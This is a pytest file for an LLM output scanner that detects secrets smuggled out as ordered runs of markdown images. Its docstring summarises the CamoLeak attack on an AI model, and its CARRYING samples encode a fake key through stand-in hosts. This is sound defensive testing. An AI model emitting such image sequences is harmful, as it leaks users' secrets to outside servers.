1
0
Fork 0
llm-ingestion-pipeline-secu.../tests/test_image_sequence.py
Kjell Tore Guttormsen eeb7bf07f6
feat(active): report a run of images whose order carries a value
Session 6 of the 2026 threat plan (attack row 3): A05 output was red.
CamoLeak renders a secret as one image per character from a URL alphabet;
each URL is ordinary, so each image graded LOW and the gate WARNed.

- active:markdown-image-sequence (MEDIUM): at least 4 ordinary external
  images, inline or reference-style, on one URL template whose varying
  tokens are 2 chars or fewer, or digit runs. Digits that count up in
  document order are a counter and carry nothing. The per-image grade is
  unchanged; the finding sits beside it.
- Accepted twins (flag tables, figures 1a/1b) go to review; measured
  evasions (word dictionary, 3-char symbols, counter increments, run of 3,
  a template per symbol) are in LIMITATIONS.

Guard rule before/after: FP 106/198, 196/2918, 108/389 identical. Those
corpora hold no external markdown image, so the rule was also run on 577
package READMEs (312 with external images): 0 firings at run lengths 3-8.
OKF import 47/31 identical. Matrix 140/140, ReDoS 163 patterns 0 flagged,
suite 1179 passed + 5 xfailed. Row 3: 13 caught, 1 gap, 5 open.
2026-10-31 19:33:51 +01:00

172 lines
8 KiB
Python

"""Sequence-carried exfiltration — each image carries nothing, the order does (A05).
CamoLeak (Legit Security, 2025-09-30) had the assistant render a secret as a run of
images, one per character, from a pre-built URL alphabet. Every URL on its own is
an ordinary remote image, so ``is_ordinary_url`` grades each one LOW and the gate
WARNs: the value is in which image comes where.
``active:markdown-image-sequence`` reports a run of at least
``calibration.IMAGE_SEQUENCE_MIN_RUN`` external images that share one URL template
and differ only in short symbols (``calibration.IMAGE_SEQUENCE_SYMBOL_MAX`` chars
or fewer per token). A run whose only varying parts are numbers that count up in
document order is a counter (``step-1.png``, ``step-2.png``): its position is
predictable, so it carries nothing and is not reported.
Measured before building (2026-10-31): 0 firings at every run length from 3 to 8
on six benign populations — the three false-positive corpora (3 505 documents,
none of which holds an external markdown image), 411 npm READMEs and 166 PyPI
descriptions (312 of them with external images, badge rows included) and the
pinned OKF corpus (78). The look-alikes the rule cannot tell apart from a symbol
channel — a table of country flags, figures named ``1a``/``1b`` — are pinned
below as accepted and documented in ``docs/LIMITATIONS.md``.
"""
from __future__ import annotations
import pytest
from llm_ingestion_guard import Disposition, PRESET_USER_UPLOAD, decide
from llm_ingestion_guard.calibration import IMAGE_SEQUENCE_MIN_RUN
from llm_ingestion_guard.output import scan_output
from llm_ingestion_guard.report import Severity, Source
from redos_clock import scan_seconds
LABEL = "active:markdown-image-sequence"
SECRET = "AKIAEX"
def _report(text: str):
return scan_output(text, source=Source.OUTPUT)
def _seq(text: str):
return [f for f in _report(text).findings if f.label == LABEL]
# --- what carries ------------------------------------------------------------
CARRYING = {
# The frozen A05 case: one symbol and a per-position signature.
"symbol-and-signature": "".join(
f"![](https://camo.test/{c}/sig{n})" for n, c in enumerate(SECRET)),
# A dictionary with one URL per character: repeats are the point.
"dictionary-with-repeats": "".join(f"![](https://camo.test/{c}.png)" for c in "AKIAAA"),
"binary": "".join(f"![](https://x.test/b/{b}.gif)" for ch in "AK" for b in f"{ord(ch):08b}"),
"hex-nibbles": "".join(f"![](https://x.test/h/{c}.gif)" for c in "414b4941"),
"symbol-in-subdomain": "".join(f"![](https://{c.lower()}.x.test/p.gif)" for c in SECRET),
"digits-out-of-order": "".join(f"![](https://x.test/p/{d})" for d in "730192"),
# Reference-style images resolve through their definitions: A03's form.
"reference-style": "".join(f"![x][r{n}]" for n in range(6)) + "\n\n" + "\n".join(
f"[r{n}]: https://camo.test/{c}/s{n}" for n, c in enumerate(SECRET)),
"collapsed-reference": " ".join(f"![{c}][]" for c in "AKIEXQ") + "\n\n" + "\n".join(
f"[{c}]: https://camo.test/{c}.png" for c in "AKIEXQ"),
"shortcut-reference": " ".join(f"![{c}]" for c in "AKIEXQ") + "\n\n" + "\n".join(
f"[{c}]: https://camo.test/{c}.png" for c in "AKIEXQ"),
"mixed-inline-and-reference": (
"![](https://camo.test/A.png) ![a][k] ![](https://camo.test/I.png) ![b][e]\n\n"
"[k]: https://camo.test/K.png\n[e]: https://camo.test/E.png\n"),
}
@pytest.mark.parametrize("name", sorted(CARRYING))
def test_a_run_whose_order_carries_a_value_is_reported(name):
found = _seq(CARRYING[name])
assert len(found) == 1, name
assert found[0].severity is Severity.MEDIUM
def test_the_report_leaves_review_not_warn():
# The point of the finding: the gate no longer waves the run through.
d = decide(_report(CARRYING["symbol-and-signature"]), PRESET_USER_UPLOAD).disposition
assert d is not Disposition.WARN
def test_each_image_still_grades_ordinary():
# The new finding sits beside the per-image grade, it does not regrade it.
img = next(f for f in _report(CARRYING["symbol-and-signature"]).findings
if f.label == "active:markdown-image")
assert img.severity is Severity.LOW
def test_evidence_is_defanged_and_counts_the_run():
f = _seq(CARRYING["symbol-and-signature"])[0]
assert f.count == len(SECRET)
assert "hxxps://camo[.]test" in f.evidence
assert "https://" not in f.evidence
def test_decoys_with_another_template_do_not_hide_the_run():
text = CARRYING["symbol-and-signature"] + "".join(
f"![](https://camo.test/{w}/sig9)" for w in ("overview", "decoyname"))
assert len(_seq(text)) == 1
def test_one_run_short_of_the_minimum_is_not_reported():
n = IMAGE_SEQUENCE_MIN_RUN - 1
assert _seq("".join(f"![](https://camo.test/{c}.png)" for c in "QXZ"[:n])) == []
def test_the_minimum_run_is_reported():
n = IMAGE_SEQUENCE_MIN_RUN
assert len(_seq("".join(f"![](https://camo.test/{c}.png)" for c in "QXZWV"[:n]))) == 1
def test_input_side_sees_it_too():
found = [f for f in scan_output(CARRYING["dictionary-with-repeats"], source=Source.INPUT).findings
if f.label == LABEL]
assert len(found) == 1 and found[0].source is Source.INPUT
# --- what does not ------------------------------------------------------------
QUIET = {
"numbered-screenshots": "".join(f"![s](https://docs.test/img/step-{n}.png)\n" for n in range(1, 8)),
"numbered-in-token": "".join(f"![s](https://docs.test/fig{n}.png)\n" for n in range(1, 8)),
"zero-padded": "".join(f"![s](https://docs.test/{n:02d}.png)\n" for n in range(1, 8)),
"chapter-and-figure": "".join(
f"![s](https://docs.test/ch{c}/fig{f}.png)\n" for c in (1, 2) for f in (1, 2, 3)),
"named-gallery": "".join(f"![s](https://docs.test/img/{w}.png)\n" for w in (
"overview", "install", "config", "deploy", "monitor", "cleanup")),
"one-image-repeated": "![s](https://gh.test/media/split.png)" * 7,
"different-hosts-and-shapes": (
"![a](https://a.test/one.png) ![b](https://b.test/x/two.png) "
"![c](https://c.test/three.svg) ![d](https://d.test/x/y/four.png)"),
# Relative images name no attacker-reachable host, as for the single-image grade.
"relative": "".join(f"![](/img/{c}.png)" for c in SECRET),
# A run of non-ordinary images is already HIGH per image; the sequence adds nothing.
"already-carrying": "".join(f"![](https://x.test/{c}.png?n={n})" for n, c in enumerate(SECRET)),
# A reference definition no image uses is a link list, not a fetch.
"link-definitions-only": "\n".join(f"[{c}]: https://camo.test/{c}.png" for c in SECRET),
"inline-image-is-not-a-shortcut-ref": " ".join(
f"![{c}](https://docs.test/img/{w}.png)" for c, w in zip("AKIEXQ", (
"overview", "install", "config", "deploy", "monitor", "cleanup")))
+ "\n\n" + "\n".join(f"[{c}]: https://camo.test/{c}.png" for c in "AKIEXQ"),
}
@pytest.mark.parametrize("name", sorted(QUIET))
def test_a_run_that_carries_nothing_is_not_reported(name):
assert _seq(QUIET[name]) == [], name
# --- the accepted look-alikes (docs/LIMITATIONS.md) ------------------------------
ACCEPTED_TWINS = {
"flag-table": "".join(f"| ![](https://flags.test/w20/{c}.png) |\n" for c in (
"no", "se", "dk", "fi", "is", "de")),
"lettered-figures": "".join(f"![s](https://docs.test/fig-{n}{l}.png)\n" for n in (1, 2, 3) for l in "ab"),
}
@pytest.mark.parametrize("name", sorted(ACCEPTED_TWINS))
def test_a_symbol_alphabet_that_happens_to_be_benign_is_still_reported(name):
# Pinned so that a change which quiets these is seen and its cost measured:
# the shape is the same as a symbol channel, and the residual is documented.
assert len(_seq(ACCEPTED_TWINS[name])) == 1, name
# --- self-safety ----------------------------------------------------------------
@pytest.mark.parametrize("unit", ["![a][", "![", "![a](https://x.test/b)", "[a]: https://x.test/b\n"])
def test_crafted_input_stays_bounded(unit):
payload = (unit * (200_000 // len(unit) + 1))[:200_000]
assert scan_seconds(lambda t: scan_output(t, source=Source.OUTPUT), payload) < 2.0